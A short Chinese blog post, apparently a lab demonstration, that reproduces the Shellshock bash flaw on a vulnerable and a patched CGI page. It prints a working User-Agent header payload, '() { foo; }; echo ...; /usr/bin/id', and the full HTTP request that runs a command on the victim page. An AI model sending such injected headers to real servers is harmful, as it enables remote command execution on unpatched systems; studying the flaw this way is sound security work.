配置了两个页面

服务启动后,有两个页面http://113.10.152.216:8080/victim.cgihttp://113.10.152.216:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。

将payload附在User-Agent中访问victim.cgi:

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
GET /victim.cgi HTTP/1.1
Host: 113.10.152.216:8080
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

同样的数据包访问safe.cgi,不受影响:

大概就这些。

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...